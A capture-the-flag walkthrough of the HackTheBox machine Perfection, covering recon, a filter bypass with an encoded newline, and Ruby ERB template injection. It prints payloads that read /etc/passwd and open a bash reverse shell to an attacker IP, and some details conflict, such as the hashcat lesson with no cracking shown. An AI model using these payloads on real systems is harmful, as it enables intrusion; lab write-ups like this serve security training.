Perfection

Platform: HackTheBox | Difficulty: Easy | OS: Ubuntu Author: D3v0o0Nu11 | Date: 2026-02-10 | Status: Solved

Summary

Walkthrough of the HackTheBox machine Perfection (Ubuntu, attack surface: OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0) (22), nginx (80)). Foothold via command injection, ssti; direct root access from the foothold. Both flags captured and redacted.

Recon

Port scan

 bash read-only • copy allowed Copy
nmap -p- -sV -sC 10.10.11.253 --min-rate 1000

Enumeration highlights

• Detected OS: Ubuntu.
• Open services: http (80), ssh (22).
• Scan used: nmap -p- -sV -sC 10.10.11.253 --min-rate 1000.

Foothold

Vulnerability / Misconfiguration

┌──(D3v0o0Nu11㉿htb)-[~]
└─$ nmap -p- -sV -sC 10.10.11.253 --min-rate 1000                                           
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-17 20:39 PDT
Nmap scan report for perfection.htb (10.10.11.253)
Host is up (0.017s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 80e479e85928df952dad574a4604ea70 (ECDSA)
|_  256 e9ea0c1d8613ed95a9d00bc822e4cfe9 (ED25519)
80/tcp open  http    nginx
|_http-title: Weighted Grade Calculator
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.77 seconds

1. Based from the nmap results above, the machine runs a web application at port 80 and opens ssh login.

2. Scrolling down to the footer section, we identified the web server used is WEBrick which is a RUBY library.

3. Searching on the internet about vulns found in WEBrick 1.7.0 resulting to none.

4. Scanning for subdomain and directories also resulting to none. However our interest should be at the weight grade calculation feature.

5. After sent normal input, seems it just calculate our grades normally. Nothing special at client-side.

6. Tried to execute client-side attack, the webapp reflects us Malicious Input Blocked.

7. Let's use repeater for further testing.

8. The reflect message is caused because I input the malicious script/code at the category column.

9. This time I tried to send ;id but encode it with URL.

10. It's still blocked.

11. Let's try to send non-malicious URL encoded newline (\n) to test whether it executes encoded URL.

Sending %0a

1. It executed, it's a finding then.
2. Great! Now our interest focused on finding the correct ruby command injection or SSTI payloads.
3. Long story short, found a repo which lists all the ruby code execution payloads.

NOTES:

I dropped all the useful links at the bottom of this MD file.

1. Nice, let's use the read file payload and encode it in URL format.

pwn%0a<%25%3d+File.open('/etc/passwd').read+%25>

NOTES:

%0a is needed, because it acts as a delimiter.

1. Amazing! Let's try to do reverse shell so it's easier for us to get the user flag.
2. This time let's use the system() code execution payload.

 txt read-only • copy allowed Copy
Bash Reverse Shell Payload:
bash -i >& /dev/tcp/10.10.14.24/1337 0>&1

Wrapped it with Ruby Code Execution Payload:
<%= system("bash -c 'exec bash -i >& /dev/tcp/10.10.14.24/1337 0>&1'") %>

URL ENCODE IT:
<%= system("bash -c 'exec bash -i >& /dev/tcp/10.10.14.24/1337 0>&1'") %>

FULL PAYLOAD:
pwn%0a<%25%3d+system("bash+-c+'exec+bash+-i+>%26+/dev/tcp/10.10.14.24/1337+0>%261'")+%25>

1. All we need to do now is set a listener on port 1337 then send the payload using repeater.

Proof

User flag: REDACTED

Privilege Escalation

User -> Root/Admin

The exploit provided a shell running with elevated privileges directly, so no separate privilege escalation was required.

Root flag: REDACTED

Flags

Lessons Learned

1. Exploiting WEBrick 1.7.0
2. ERB and reverse shell using Ruby Code Execution.
3. Cracking hash using hashcat (based on password format).